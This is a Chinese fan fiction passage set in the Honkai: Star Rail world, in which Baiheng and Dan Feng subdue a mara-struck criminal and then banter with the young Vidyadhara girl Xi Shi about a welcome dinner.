凌冽的长枪袭来,刺入孽物的丹腑,很快,一道带风的箭矢从天而降,旋即贯穿其心脏。 失智孽物口鼻中的金色枝蔓停止了生长,形如蛇状的锁链紧随其后,紧紧缠绕魔阴者长着金叶的怪异身躯。 “有劳白珩大人和丹枫大人,锁字部判官孤舟在此谢过,我等也会为两位大人在因果殿添上一笔善业。” 少女语气冰冷,眼底的空洞仿佛不在人世。 “罪人余庆,隐瞒魔阴,神志不清,欲炮制传道寿瘟祸祖的邪法,以天人血肉炼化丹药而维持常形,残杀胞族三人,触犯不赦十恶的条律,祸乱阳世,当受天惩,即刻入灭。” 幽府的冥差自带一群瘆人的幽灵小蓝火,在判官宣读罪业后,将其带往幽囚狱。 “星槎该还回来了吧,白珩。”丹枫扶额叹气。 “嘿嘿,不如我来给咱们龙尊大人掌舵呗?” 被喊到的云骑少女转过身,对他讪讪一笑,目光移到他手里牵着的小持明时,白珩瞪圆了眼睛,头上浅紫色的狐耳晃了几下,一脸地不可置信。 “欸?!” 目光相接的一瞬间,汐识和白珩异口同声:“原来是你呀!” 白珩笑着,收回手中的弓箭,蹲下来揉了揉汐识的头顶,“我还想着谁家的小持明这么可爱,原来是咱们龙尊大人家的,以你们那个实力雄厚的家底,这位小姑娘确实是不差钱。” 垂首盯了会儿以没钱为理由只请他喝了杯鳞渊春的汐识,丹枫选择保持沉默。 “她的名字是汐识,视我为兄长。你可以理解为,我的第九十世,也就是雨别留下的第二位继承人。” “啊?哈哈,你们持明族可真有意思。诶嘿,小识下次想去哪里吃东西,白珩姐姐请你呀?” 面对两道视线的关注,汐识变得规矩起来,没有一丝情绪地摊了摊手:“别盯着我,接风宴的主角是你们,我就是个蹭饭的。” 白珩学着她的样子说:“嗯对,深入敌方大获全胜的是你和镜流,我也只是个蹭饭的。” “不过嘛……嘿嘿,刚刚追人借用了星槎,一个不小心给自动驾驶系统按坏了。你们看,这时间还早得很,镜流抓捕要犯去了云顶台,让侍卫长去学宫接景元蹭咱们将军的饭,云顶台地势高耸难行,要不一起去接她?” 丹枫不置一词,习惯了以沉默当做冷酷的默认。 白珩挑了下眉,汐识仰着脸解释道:“我没意见,我哥也没意见。”